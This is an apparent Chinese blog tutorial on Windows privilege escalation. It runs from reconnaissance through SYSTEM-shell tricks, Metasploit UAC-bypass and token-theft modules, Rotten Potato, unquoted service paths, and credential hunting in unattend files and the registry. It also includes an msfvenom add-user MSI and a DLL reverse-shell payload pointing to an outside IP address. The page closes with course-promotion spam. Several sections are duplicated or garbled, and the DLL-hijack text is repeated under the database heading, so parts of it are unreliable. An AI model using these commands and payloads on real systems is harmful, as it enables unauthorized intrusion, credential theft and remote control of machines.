当以低权用户进去一个陌生的windows机器后,无论是提权还是后续做什么,第一步肯定要尽可能的搜集信息。知己知彼,才百战不殆。
常规信息搜集
systeminfo 查询系统信息hostname 主机名net user 查看用户信息netstat -ano|find "3389" 查看服务pid号wmic os get caption 查看系统名wmic qfe get Description,HotFixID,InstalledOn 查看补丁信息wmic product get name,version 查看当前安装程序wmic service list brief 查询本机服务wmic process list brief 查询本机进程net share 查看本机共享列表netsh firewall show config 查看防火墙配置
常见的杀软如下:
360sd.exe 360杀毒360tray.exe 360实时保护ZhuDongFangYu.exe 360主动防御KSafeTray.exe 金山卫士SafeDogUpdateCenter.exe 安全狗McAfee McShield.exe McAfeeegui.exe NOD32AVP.exe 卡巴斯基avguard.exe 小红伞bdagent.exe BitDefender
要搜集的信息大致如下几点:
机器的系统及其版本
机器的打补丁情况
机器安装的服务
机器的防火墙策略配置
机器的防护软件情况
提权简介
提权可分为纵向提权与横向提权:纵向提权:低权限角色获得高权限角色的权限;横向提权:获取同级别角色的权限。
Windows常用的提权方法有:系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、WEB中间件漏洞提权、DLL劫持提权、滥用高危权限令牌提权、第三方软件/服务提权等
1、系统内核溢出漏洞提权
#手工查找补丁情况
systeminfo #查看补丁
wmic qfe get Description,HotFixID,InstalledOn #查看补丁信息
#MSF后渗透扫描
post/windows/gather/enum_patches
利用(Vulmap、Wes、WindowsVulnScan)对比补丁进而进行提权
2、at命令利用
在Windows2000、Windows 2003、Windows XP 这三类系统中,我们可以使用at命令将权限提升至system权限。
利用at命令,下面是at命令的百度解释
AT命令是Windows XP中内置的命令,它也可以媲美Windows中的“计划任务”,而且在计划的安排、任务的管理、工作事务的处理方面,AT命令具有更强大更神通的功能。AT命令可在指定时间和日期、在指定计算机上运行命令和程序。
因为at命令默认是以system权限下运行的所以我们可以利用以下命令,进行提权。
at 时间 /interactive cmd 其中里面的/interactive参数是开启交互模式
等待一分钟后
可以看到已经启动了一个system权限下的cmd窗口,虽然此时我们已经有了system的权限,但是可以看到,桌面还是之前用户的权限所启动的
然后再添加一个由system权限下开启的桌面进程
在任务管理器里面我们结束掉之前由之前账号开启的桌面进程
再点入看现在登入的账号是
再点入看现在登入的账号是
提权成功!
或者利用msf生成木马在利用at启动
3、sc命令利用
适用于windows 7/8、03/08、12/16
因为at命令在win7,win8等更高版本的系统上都已经取消掉了,所以在一些更高版本的windows操作系统上我们可以用sc命令进行提权,下面是sc的百度解释。
SC命令是XP系统中功能强大的DOS命令,SC命令能与“服务控制器”和已安装设备进行通讯。SC是用于与服务控制管理器和服务进行通信的命令行程序。
通俗理解就是sc可以启动一个服务,命令如下。
sc Create systemcmd binPath= "cmd /K start" type= own type= interact
其中systemcmd是服务名称,大家可以随意填写,binpath是启动的命令,type=own是指服务这个服务属于谁,type=interact。这里再解释一下 cmd/k start 这个命令,这个命令就是启动一个新的cmd窗口,如图。
我们继续回车
上面的命令。
可以看到服务已创建,但是刚创建的服务是默认关闭的,所以我们要开启这个服务,大家可以用图形化界面开启,但是在渗透过程中我们大多数拿到的都是命令行界面,所以这里我只介绍命令行操作了。
敲入sc start systemcmd,即可启动服务!
因为sc启动服务也是默认system权限的,所以我们启动的cmd窗口也是system权限!接下来的操作就可以和xp,2003一样了,这里就不在重复了。
4、psexec提权
适用版本:Win2003 & Win2008
微软官方工具包:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
提权命令:
psexec.exe -accepteula -s -i -d cmd.exe
开启的cmd窗口也是system权限
5、 绕过UAC提权
UAC简介
1.什么是用户帐户控制(UAC)?
Microsoft的Windows Vista和Windows Server2008操作系统引入了一种良好的用户帐户控制架构,以防止系统范围内的意外更改,这种更改是可以预见的,并且只需要很少的操作量。
换句话说,它是Windows的一个安全功能,它支持防止对操作系统进行未经授权的修改,UAC确保仅在管理员授权的情况下进行某些更改。如果管理员不允许更改,则不会执行这些更改,并且Windows系统保持不变。
2.UAC如何运行?
UAC通过阻止程序执行任何涉及有关系统更改/特定任务的任务来运行。除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行。如果您以管理员身份运行程序,则它将具有更多权限,因为它将被“提升权限”,而不是以管理员身份运行的程序。
UAC不会自动阻止恶意软件,其目的不是确定程序是否是恶意软件。这同样取决于用户。如果将以管理员权限执行程序,则将提醒用户并且需要用户确认。
绕过方法
一般我们通过msf拿到meterprter的会话后,我们可以通过getsystem或者getuid来检查是否是system权限
如果不是system权限,我们可以通过以下绕过UAC模块对UAC进行绕过,在通过getsystem进行提权
#Msf
exploit/windows/local/ask #弹出UAC确认窗口,点击后获得system权限
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_fodhelper
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_comhijack
6、令牌窃取
适用于2008之前版本
令牌简介
描述进程或者线程安全上下文的一个对象。不同的用户登录计算机后,都会生成一个AccessToken,这个Token在用户创建进程或者线程时会被使用,不断的拷贝,这也就解释了A用户创建一个进程而该进程没有B用户的权限。一般用户双击运行一个进程都会拷贝explorer.exe的AccessToken。访问令牌分为:
* 授权令牌(Delegation token):交互式会话登陆(例:本地用户登陆、用户桌面等)
*模拟令牌(Impersonation token):非交互式登陆(例:net use 访问共享文件)
两种token只有在系统重启后才会清除;授权令牌在用户注销后,该令牌会变为模拟令牌依旧有效。
同样也可以这样理解,当前系统中的某个进程或线程能访问到什么样的系统资源,完全取决于你当前进程是拿着谁的令牌。
默认情况下,我们列举令牌,只能列举出当前用户和比当前用户权限更低用户的令牌。令牌的数量取决于当前shell的访问级别,如果当前的shell是administrator或者是system,我们就可以看到系统中的所有的令牌。
攻击方法
#首先提前获取一个session
meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter >impersonate_token WIN-2HU3N1\\Administrator #注意:这里是两个反斜杠\\
7、烂土豆提权
一般烂土豆需要来配合令牌窃取来进行提权
注意(重点:用烂土豆配合本地用户提权是成功不了的,必须是web权限或数据库权限)
- 单纯令牌窃取:Web权限或本地权限
- 配合烂土豆提权:web权限或数据库等权限
烂土豆提权原理
1、欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。
2、对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
3、模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。
所以,一般从web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的。测试过程中,我发现使用已经建好的账户(就是上面说的用户级账户)去反弹meterpreter然后再去执行EXP的时候会失败,但使用菜刀(IIS服务器权限)反弹meterpreter就会成功。
攻击方法
meterpreter > upload
/root/Rottenpotato/rottenpotato.exe
meterpreter > execute -HC -f rottenpotato.exe
meterpreter > use incognito
meterpreter > list_tokens -u
会发现令牌列表里面存在system的令牌,在用system的令牌进行提权
烂土豆版本
RottonPatato脚本:
https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-075/potato.exe
https://github.com/breenmachine/RottenPotatoNG/blob/master/RottenPotatoEXE/x64/Release/MSFRottenPotato.exe
https://github.com/foxglovesec/RottenPotato
8、可信任服务路径漏洞
如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的
漏洞原理
这里假设有一个服务路径
C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe
带引号时:"C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe"会被看成一个完整的服务路径,故不会产生漏洞。
不带引号时:我们认为的服务路径是C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe,但是由于没有双引号的包裹,Windows会认为C:\Program空格后面的为Program这个程序的参数来进行启动服务。这样攻击者就可以命名一个为Program.exe的后门文件放在c盘下,进而等待含漏洞服务路径的启动或重启导致后门文件的执行。
攻击方法
#寻找存在漏洞的服务
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
把我们后门文件重命名放在对应的文件路径下
在msf上进行监听,然后启动对应服务
接收到shell,且是system权限
#msf检测攻击模块
exploit/windows/local/unquoted_service_path
#正常接收到会话后,不久就会自动断开连接,需要开启命令自动迁移进程
set AutoRunScript migrate -f
9、不安全服务权限配合计划任务schtasks或SC命令利用
如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用覆盖原来的服务路径,进而启动我们的恶意程序。(一般用来administrator提权到system,因为普通用户用sc修改服务路径会没有权限,导致不能用该方法提权。)
accesschk.exe -uwcqv "administrators" * #检查administrators组的权限配置(这里自己创建了一个test服务)
sc config "test" binpath="C:\shell.exe" #用sc命令修改服务对应路径
xxxxxxxxxxbr sc config "test" binpath="C:\shell.exe" #用sc命令修改服务对应路径
sc start test #然后我们在msf监听,在启动该服务,就可以接收到我们的shell
xxxxxxxxxxbr sc start test #然后我们在msf监听,在启动该服务,就可以接收到我们的shell
当然还可以用schtasks来定时启动服务,schtasks命令比at命令更灵活。而且在WindowsVista、Windows Server 2008及之后版本的操作系统已经弃用at命令。
#查看计算机的计划任务
schtasks /query /fo LIST /v
xxxxxxxxxxbr schtasks /query /fo LIST /v
schtasks /create /s 10.10.10.80 /tn test /sc onstart/tr c:\artifact.exe /ru system /f
xxxxxxxxxxbr schtasks /create /s 10.10.10.80 /tn test /sc onstart/tr c:\artifact.exe /ru system /f
在远程主机运行“test”任务
schtasks /run /s 10.10.10.80 /i /tn “test”
执行完成之后就删除计划任务
schtasks /delete /s 10.10.10.80 /tn “test”/f
接着删除IPC$
net use \10.10.10.80 /del /y
在使用schtasks命令的时候会在系统留下日志文件C:WindowsTasksSchedLgU.txt。
参数的意思:
/create 表示创建计划任务
/tn 表示任务名
/tr 指定运行的文件
/sc 是任务运行频率
/st 是执行时间
/s 指定远程机器名或 ip地址
/ru 指定运行任务的用户权限,这里指定为最高的 SYSTEM
/i 表示立即运行
/F 表示如果指定的任务已经存在,则强制创建任务并抑制警告
/delete 是删除任务。
xxxxxxxxxxbr /create 表示创建计划任务br/tn 表示任务名br/tr 指定运行的文件br/sc 是任务运行频率br/st 是执行时间br/s 指定远程机器名或 ip地址br/ru 指定运行任务的用户权限,这里指定为最高的 SYSTEMbr/i 表示立即运行br/F 表示如果指定的任务已经存在,则强制创建任务并抑制警告br/delete 是删除任务。
10、Unattended Installs(自动安装)
自动安装允许程序在不需要管理员关注下自动安装。这种解决方案用于在拥有较多雇员和时间紧缺的较大 型组织中部署程序。如果管理员没有进行清理的话,那么会有一个名为Unattend的XML文件残存在系统上。这个XML文件包含所有在安装程序过程中的配置,包括一些本地用户的配置,以及管理员账户。
全盘搜索Unattend文件是个好办法,它通常会在以下一个文件夹中:
C:\Windows\Panther\
C:\Windows\Panther\Unattend\
C:\Windows\System32\
C:\Windows\System32\sysprep\
xxxxxxxxxxbr C:\Windows\Panther\ brC:\Windows\Panther\Unattend\ brC:\Windows\System32\ brC:\Windows\System32\sysprep\
除了Unattend.xml文件外,还要留意系统中的sysprep.xml和sysprep.inf文件,这些文件中都会包含部署操作 系统时使用的凭据信息,这些信息可以帮助我们提权。
C:\Users\user\Desktop> dir C:*vnc.ini /s /b /c
#或者在名称中包含关键词的项目:
C:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr *password*
#或者可以在文件内容中搜索password之类的关键字:
C:\Users\user\Desktop>findstr /si password *.txt | *.xml | *.ini
#可以查询注册表,例如,字符串password:
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
在这些文件中通常包含用户名和密码,密码使用base64编码,并且在最后会附加”Password”,所以真正的密 码需要去掉最后的”Password”。
xxxxxxxxxxbr C:\Users\user\Desktop> dir C:*vnc.ini /s /b /cbr#或者在名称中包含关键词的项目:brC:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr *password*br#或者可以在文件内容中搜索password之类的关键字:brC:\Users\user\Desktop>findstr /si password *.txt | *.xml | *.inibr#可以查询注册表,例如,字符串password:brreg query HKLM /f password /t REG_SZ /sbrreg query HKCU /f password /t REG_SZ /sbr在这些文件中通常包含用户名和密码,密码使用base64编码,并且在最后会附加”Password”,所以真正的密 码需要去掉最后的”Password”。
#msf模块
post/windows/gather/enum_unattend
11、 AlwaysInstallElevated
AlwaysInstallElevated 是一种允许非管理用户以SYSTEM权限运行Microsoft Windows安装程序包(.MSI文件)的设置。默认情况下禁用此设置,需系统管理员手动启用他。
可以通过查询以下注册表项来识别此设置:
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001
xxxxxxxxxxbr [HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]br“AlwaysInstallElevated”=dword:00000001br[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]br“AlwaysInstallElevated”=dword:00000001
使用reg query命令查询是否存在漏洞
C:> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
C:> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
xxxxxxxxxxbr C:> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedbrC:> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
如果系统没这个漏洞,它将输出错误:
ERROR: The system was unable to find the specified registry key or value.
如果存在漏洞,上面将输出以下内容:
然后我们使用msfvenom生成msi文件,进行提权
msfvenom -p windows/adduser USER=rottenadminPASS=P@ssword123! -f msi-nouac -o rotten.msi
msiexec /quiet /qn /i C:\programdata\rotten.msi
# /quiet 安装过程中禁止向用户发送消息
# /qn 不使用GUI
# /i 安装程序
xxxxxxxxxxbr msfvenom -p windows/adduser USER=rottenadminPASS=P@ssword123! -f msi-nouac -o rotten.msibrmsiexec /quiet /qn /i C:\programdata\rotten.msibr# /quiet 安装过程中禁止向用户发送消息br# /qn 不使用GUIbr# /i 安装程序
msf下的自动模块
exploit/windows/local/always_install_elevated
xxxxxxxxxxbr exploit/windows/local/always_install_elevated
12、DLL劫持提权
原理:Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)
过程:信息收集-进程调试-制作dll并上传-替换dll-启动应用后成功
msfvenom -p windows/meterpreter/reverse_tcp
lhost=101.37.169.46 lport=6677 -f dll >/opt/test.dll
xxxxxxxxxxbr 1、应用程序加载的目录br2、C:\Windows\System32br3、C:\Windows\Systembr4、C:\Windowsbr5、当前工作目录Current Working Directory,CWDbr6、在PATH环境变量的目录(先系统后用户)br过程:信息收集-进程调试-制作dll并上传-替换dll-启动应用后成功brmsfvenom -p windows/meterpreter/reverse_tcpbrlhost=101.37.169.46 lport=6677 -f dll >/opt/test.dll
13、数据库提权
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)
过程:信息收集-进程调试-制作dll并上传-替换dll-启动应用后成功
msfvenom -p windows/meterpreter/reverse_tcp
lhost=101.37.169.46 lport=6677 -f dll >/opt/test.dll
xxxxxxxxxxbr 1、应用程序加载的目录br2、C:\Windows\System32br3、C:\Windows\Systembr4、C:\Windowsbr5、当前工作目录Current Working Directory,CWDbr6、在PATH环境变量的目录(先系统后用户)br过程:信息收集-进程调试-制作dll并上传-替换dll-启动应用后成功brmsfvenom -p windows/meterpreter/reverse_tcpbrlhost=101.37.169.46 lport=6677 -f dll >/opt/test.dll
13、数据库提权
数据库提权知识点较多,下次另起篇幅。
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
网络安全学习资源分享:
给大家分享我自己学习的一份全套的网络安全学习资料,希望对想学习 网络安全的小伙伴们有帮助!
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
【点击免费领取】CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》
1.学习路线图
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。【点击领取视频教程】
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取技术文档】
(都打包成一块的了,不能一一展开,总共300多集)
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取书籍】
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
👋全套《黑客&网络安全入门&进阶学习资源包》👇👇👇
这份完整版的学习资料已经上传CSDN,也可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费
】